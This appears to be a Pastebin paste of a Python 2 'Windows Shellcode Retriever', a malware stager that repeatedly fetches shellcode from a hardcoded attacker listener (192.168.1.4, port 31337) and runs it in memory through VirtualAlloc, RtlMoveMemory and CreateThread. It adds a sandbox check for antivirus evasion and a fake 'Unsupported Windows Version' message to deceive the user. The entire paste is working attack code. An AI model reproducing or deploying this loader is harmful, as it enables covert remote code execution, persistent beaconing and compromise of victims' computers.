Advertisement
Guest User

retriever.py

a guest
Apr 16th, 2015
355
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 5.33 KB | None | 0 0
  1. #!/usr/bin/env python
  2. #
  3. # Windows Shellcode Retriever
  4. # By: HR
  5. #
  6. # It's just a slightly modified version of Joshua Pitts' Shellcode Retriever Script...
  7. # Use Shellcode Sender on the other end to serve up your payloads for execution
  8. #
  9.  
  10. import ctypes, os, signal, socket, sys, time
  11.  
  12. TARGET='192.168.1.4' # Shellcode Sender Listener IP
  13. PORT=31337           # Shellcode Sender Listener Port
  14. BEACON=True          # Repeat Shellcode Retrival
  15. BEACON_DELAY=3600    # 1 hour delay between retrieval attempts
  16.  
  17.  
  18. def system_info():
  19.   """
  20.     Check System Info and Returns Info in Dictionary Array
  21.       {
  22.         'Available Physical Memory': '644 MB',
  23.         'Product ID': '00426-OEM-8992662-00006',
  24.         'OS Name': 'Microsoft Windows 7 Ultimate',
  25.         'BIOS Version': 'Phoenix Technologies LTD 6.00, 7/2/2012',
  26.         'System Model': 'VMware Virtual Platform',
  27.         'System type': 'X86-based PC',
  28.         'Total Physical Memory': '1,023 MB',
  29.         'Logon Server': '\\\\WIN-6CQ3JVLCHM4',
  30.         'Domain': 'WORKGROUP',
  31.         'Windows Directory': 'C:\\Windows',
  32.         'OS Version': '6.1.7601 Service Pack 1 Build 7601',
  33.         'System Manufacturer': 'VMware, Inc.',
  34.         'Host Name': 'WIN-6CQ3JVLCHM4'
  35.       }
  36.  
  37.     Example:
  38.        >>> info = SysInfo()
  39.        >>> info['OS Version']
  40.        '6.1.7601 Service Pack 1 Build 7601'
  41.  
  42.     Borrowed from our sacred stackoverflow:
  43.        http://stackoverflow.com/questions/467602/how-can-i-read-system-information-in-python-on-windows
  44.  """
  45.   values  = {}
  46.   cache   = os.popen2("SYSTEMINFO")
  47.   source  = cache[1].read()
  48.   sysOpts = ["Host Name", "OS Name", "OS Version", "Product ID", "System Manufacturer", "System Model", "System type", "BIOS Version", "Domain", "Windows Directory", "Total Physical Memory", "Available Physical Memory", "Logon Server"]
  49.   for opt in sysOpts:
  50.     values[opt] = [item.strip() for item in re.findall("%s:\w*(.*?)\n" % (opt), source, re.IGNORECASE)][0]
  51.   return values
  52.  
  53.  
  54. def decoy_message():
  55.   """ Decoy Message to Present to User on Epic Failure """
  56.   info = system_info()
  57.   print "\n[x] Unsupported Windows Version!"
  58.   print "   [*] Platform: %s" % sys.platform
  59.   print "   [x] Build Version: %s" % info['OS Version']
  60.   print "\n[*] Keep Checking Developer Site for updates...\n\n"
  61.   sys.exit(0)
  62.  
  63.  
  64. def sandbox_check():
  65.   """
  66.     Quick sandbox check for additional av evasion.
  67.     And a message to throw the user off.
  68.  """
  69.   ##################################################################################
  70.   # Add some mathematical stuff or some time consuming activities for added delays #
  71.   ##################################################################################
  72.   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  73.   sandbox = True
  74.   try:
  75.     s.connect(('127.0.0.1', 445))
  76.     s.close()
  77.     sandbox = False
  78.   except:
  79.     pass
  80.   if sandbox == True:
  81.     try:
  82.       s.connect(('127.0.0.1', 135))
  83.       s.close()
  84.     except:
  85.       # Mission Abort!
  86.       decoy_message()
  87.  
  88.  
  89. def run_shellcode(shellcode):
  90.   """
  91.     ctypes VritualAlloc, MoveMem, and CreateThread
  92.     From http://www.debasish.in/2012_04_01_archive.html
  93.  """
  94.   # Get pointer to our allocated memory space
  95.   pointer = ctypes.windll.kernel32.VirtualAlloc(
  96.     ctypes.c_int(0),
  97.     ctypes.c_int(len(shellcode)),
  98.     ctypes.c_int(0x3000),
  99.     ctypes.c_int(0x40)
  100.   )
  101.  
  102.   # Move Shellcode into memory
  103.   buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
  104.   ctypes.windll.kernel32.RtlMoveMemory(
  105.     ctypes.c_int(pointer),
  106.     buf,
  107.     ctypes.c_int(len(shellcode))
  108.   )
  109.  
  110.   # Create new thread and run our shellcode in it
  111.   thread_handle = ctypes.windll.kernel32.CreateThread(
  112.     ctypes.c_int(0),
  113.     ctypes.c_int(0),
  114.     ctypes.c_int(pointer),
  115.     ctypes.c_int(0),
  116.     ctypes.c_int(0),
  117.     ctypes.pointer(ctypes.c_int(0))
  118.   )
  119.  
  120.   # Wait for our thread to finish or timeout
  121.   ctypes.windll.kernel32.WaitForSingleObject(
  122.     ctypes.c_int(thread_handle),
  123.     ctypes.c_int(-1)
  124.   )
  125.   return
  126.  
  127.  
  128.  
  129. def fetch_shellcode(target, port):
  130.   """
  131.     Raw TCP Socket Request to Target:Port to grab our remote shellcode
  132.     The received Shellcode is then passed off to be run
  133.  """
  134.   # Open TCP Socket Connection to target:port
  135.   print '[*] Downloading Shellcode...'
  136.   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  137.   s.connect((target,port))
  138.  
  139.   # Receive shellcode
  140.   data = s.recv(1024)
  141.   shellcode = data
  142.   while data != '':
  143.     data = s.recv(1024)
  144.     if data == '':
  145.       break
  146.     else:
  147.       shellcode += data
  148.  
  149.   # Convert to Bytearray for usability sake
  150.   shellcode = bytearray(shellcode)
  151.  
  152.   # Pass to be run in memory...
  153.   print '[*] Executing Shellcode in Memory....'
  154.   run_shellcode(shellcode)
  155.  
  156.  
  157.  
  158. def main():
  159.   # Does making connetions raise alerts?
  160.   sandbox_check()
  161.    
  162.   if TARGET == '':
  163.     decoy_message() # If you cant read and edit source, you fail
  164. #    TARGET = raw_input("Enter Shellcode Listner IP: ")
  165. #    PORT = raw_input("Enter Shellcode Listner Port: ")
  166.   try:
  167.     fetch_shellcode(TARGET, int(PORT))
  168.     while BEACON is True:
  169. #      print '[*] Sleeping for %d seconds....' % BEACON_DELAY
  170.       time.sleep(BEACON_DELAY)
  171.       fetch_shellcode(TARGET, int(PORT))
  172.            
  173.   except Exception, e:
  174. #    print str(e)
  175.     pass
  176.    
  177. if __name__ == "__main__":
  178.   main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement